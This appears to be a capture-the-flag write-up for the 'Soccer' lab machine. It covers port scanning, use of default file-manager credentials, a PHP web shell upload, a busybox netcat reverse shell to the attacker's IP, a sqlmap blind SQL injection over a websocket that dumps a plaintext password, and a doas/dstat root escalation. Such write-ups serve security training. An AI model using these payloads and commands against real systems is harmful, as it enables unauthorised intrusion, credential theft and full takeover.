Page cover image

Soccer

Before we start, it's called football BTW.

Port Scanning

rustscan -a 10.10.11.194
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Open 10.10.11.194:22
Open 10.10.11.194:80
Open 10.10.11.194:9091
nmap -sCV -O -oA SoccerScan -p 22,80,9091 -vvv 10.10.11.194
PORT     STATE SERVICE         REASON         VERSION
22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Soccer - Index 
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail? syn-ack ttl 63
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Wed, 11 Jun 2025 09:17:40 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Wed, 11 Jun 2025 09:17:40 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

Aggressive OS guesses: Linux 4.15 - 5.8 (95%), Linux 5.0 - 5.4 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), HP P2000 G3 NAS device (93%)

Nmap done: 1 IP address (1 host up) scanned in 32.28 seconds

WEB APP

Add the domain name to the /etc/hosts

sudo sh -c 'echo "10.10.11.194 soccer.htb" >> /etc/hosts'

The home page doesn't tell much, so let's do some enumeration

ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://soccer.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

tiny                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 101ms]
:: Progress: [62281/62281] :: Job [1/1] :: 462 req/sec :: Duration: [0:02:18] :: Errors: 0 ::

Found a directory named tiny. It's using Tiny File Manager, so I started looking for public exploits and found an exploit for the 2.4.6 version. Viewing the source of the page found that the version it's using 2.4.3, so it's maybe gonna work out.

searchsploit tiny file manager
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Manx 1.0.1 - '/admin/tiny_mce/plugins/ajaxfilemanager/ajax_get_file_listing.php' Multiple Cross-Site Scripting Vulnerabilities                                                                            | php/webapps/36364.txt
Manx 1.0.1 - '/admin/tiny_mce/plugins/ajaxfilemanager_OLD/ajax_get_file_listing.php' Multiple Cross-Site Scripting Vulnerabilities                                                                        | php/webapps/36365.txt
MCFileManager Plugin for TinyMCE 3.2.2.3 - Arbitrary File Upload                                                                                                                                          | php/webapps/15768.txt
Tiny File Manager 2.4.6 - Remote Code Execution (RCE)                                                                                                                                                     | php/webapps/50828.sh
TinyMCE MCFileManager 2.1.2 - Arbitrary File Upload                                                                                                                                                       | php/webapps/15194.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
view-source:http://soccer.htb/tiny/

It's an authenticated exploit, so we need to search for credentials.

searchsploit -m php/webapps/50828.sh
  Exploit: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50828
     Path: /usr/share/exploitdb/exploits/php/webapps/50828.sh
    Codes: CVE-2021-45010, CVE-2021-40964
 Verified: False
File Type: Unicode text, UTF-8 text
Copied to: /home/legend/Machines/Soccer/50828.sh

#=============================================#
bash 50828.sh 
TIny File Manager Authenticated RCE Exploit.
By FEBIN
50828.sh <URL> <Admin Username> <Password>
Example: 50828.sh http://files.ubuntu.local/index.php admin "admin@123"

Searching through Tiny file manager GitHub, found the default credentials. Using admin:admin@123 allowed me to log in.

Using the public exploit, but unfortunately, it didn't work.

bash 50828.sh http://soccer.htb/tiny/ admin "admin@123"

/usr/bin/curl
[โœ”] Curl found! 
/usr/bin/jq
[โœ”] jq found! 

[+]  Login Success! Cookie: filemanager=r9ppfod0e6nddik88pnb52fkal 

[*] Try to Leak Web root directory path 

[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : /var/www/html/tiny/ 

[-] File Upload Unsuccessful! Exiting!

So, moved to manual testing, found that we can't upload to /var/www/html/, but we can upload to /var/www/html/tiny/uploads

This small script will allow me to get a shell on the server. (Could have used pentestmonkey PHP rev shell, but idk it didn't come to my mind) (If you will use pentestmonkey PHP rev shell, revshells can help you with easy copy and paste)

php_shell.php
<?php system($_REQUEST['cmd']); ?>

Keep in mind, what you upload gets deleted in a couple of minutes. I tried a couple of shells from revshells, and busybox worked

http://soccer.htb/tiny/uploads/php_shell.php?cmd=id
http://soccer.htb/tiny/uploads/php_shell.php?cmd=busybox nc 10.10.16.4 9998 -e sh

Shell as www-data

Did a little manual enumeration but didn't get anything, so moved to LinPEAS.

# my machine
wget https://github.com/peass-ng/PEASS-ng/releases/download/20250601-88c7a0f6/linpeas.sh
python3 -m http.server 8000
# Soccer machine
cd /tmp
wget 10.10.16.4:8000/linpeas.sh
bash linpeas.sh
โ•โ•โ•ฃ PHP exec extensions
drwxr-xr-x 2 root root 4096 Dec  1  2022 /etc/nginx/sites-enabled                                                                                                                                                                           
drwxr-xr-x 2 root root 4096 Dec  1  2022 /etc/nginx/sites-enabled
lrwxrwxrwx 1 root root 41 Nov 17  2022 /etc/nginx/sites-enabled/soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
server {
        listen 80;
        listen [::]:80;
        server_name soc-player.soccer.htb;
        root /root/app/views;
        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }
              

Found vhost named soc-player, add soc-player.soccer.htb to /etc/hosts

It looks a little bit like soccer.htb but it has new functions: Match, Login, and Signup

Created an account

First checked the match page, but it's a static page and doesn't give anything.

The tickets page allows fans to check their ticket.

Viewing the source of the page, found that the web app utilizes websocket for checking whether a ticket exists or not.

view-source:http://soc-player.soccer.htb/check
    <script>
        var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
        window.onload = function () {
        
        var btn = document.getElementById('btn');
        var input = document.getElementById('id');
        
        ws.onopen = function (e) {
            console.log('connected to the server')
        }
        input.addEventListener('keypress', (e) => {
            keyOne(e)
        });
        
        function keyOne(e) {
            e.stopPropagation();
            if (e.keyCode === 13) {
                e.preventDefault();
                sendText();
            }
        }
        
        function sendText() {
            var msg = input.value;
            if (msg.length > 0) {
                ws.send(JSON.stringify({
                    "id": msg
                }))
            }
            else append("????????")
        }
        }
        
        ws.onmessage = function (e) {
        append(e.data)
        }
        
        function append(msg) {
        let p = document.querySelector("p");
        // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
        // p.style.color = randomColor;
        p.textContent = msg
        }
    </script>

Did some research because it's the first time I've tested websocket. Websockets can be vulnerable to XSS, CSRF, SQLi, XXE, and SSRF

A tool called wsrepl helps in testing websocket, though Burp can do it too, but good to check other tools.

pip3 install wsrepl --break-system-packages
wsrepl -u "ws://soc-player.soccer.htb:9091" --cookie 'connect.sid=s%3A16K3sC-mL5zrBuXD5eac7D1qdMTC4_z4.igmQZMdXhlb5nMErlTnhLe5pDecCeKW9YmQJjWVSUIg'

XSS and CSRF will require user interaction, and it doesn't look like this machine provides it. So I will start with SQLi, and with a simple payload, found that it's vulnerable to SQLi

To make life easier, sqlmap was created.

sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1"}' --dbs --level 5 --risk 3 --batch

[07:01:28] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON id' might not be injectable
[07:01:29] [INFO] testing for SQL injection on (custom) POST parameter 'JSON id'
[07:02:24] [INFO] (custom) POST parameter 'JSON id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable 
[07:02:40] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[07:03:19] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[07:03:54] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[07:06:23] [INFO] checking if the injection point on (custom) POST parameter 'JSON id' is a false positive
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 393 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: {"id": "-7016 OR 9767=9767"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"id": "1 AND (SELECT 1955 FROM (SELECT(SLEEP(5)))ZPqI)"}
---
[07:06:42] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[07:06:46] [INFO] fetching database names
[07:06:46] [INFO] fetching number of databases
[07:06:46] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

The websocket is vulnerable to Boolean-based blind and time-based blind SQLi. Now dump databases, and soccer_db is the interesting one.

sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1"}' --dbs --level 5 --risk 3 --batch --dbms=mysql --threads 10

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

Now we have new credentials to test with.

sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1"}' --level 5 --risk 3 --batch --dbms=mysql --threads 10 --dump -D soccer_db
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | [email protected] | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

logged in to the site, but nothing new. So moved to SSH

Shell as player

ssh [email protected]

player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
player@soccer:~$ ls -la
total 28
drwxr-xr-x 3 player player 4096 Nov 28  2022 .
drwxr-xr-x 3 root   root   4096 Nov 17  2022 ..
lrwxrwxrwx 1 root   root      9 Nov 17  2022 .bash_history -> /dev/null
-rw-r--r-- 1 player player  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 player player 3771 Feb 25  2020 .bashrc
drwx------ 2 player player 4096 Nov 17  2022 .cache
-rw-r--r-- 1 player player  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root   root      9 Nov 17  2022 .viminfo -> /dev/null
-rw-r----- 1 root   player   33 Jun 11 09:12 user.txt
player@soccer:~$ sudo -l
[sudo] password for player: 
Sorry, user player may not run sudo on localhost.

To make things faster used linpeas.

player@soccer:~$ cd /tmp/
player@soccer:/tmp$ bash linpeas.sh

Too much to go through. So start one by one

The doas command provides a way to perform commands as another user. It aims to be a a simplified and lightweight replacement for sudo. [link]

player@soccer:/usr/local/etc$ cat doas.conf
permit nopass player as root cmd /usr/bin/dstat

We can use dstat as root, searched GTFOBins, and found that we can have a shell as root with it.

Shell as root

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
doas /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
# id
uid=0(root) gid=0(root) groups=0(root)

Last updated

Was this helpful?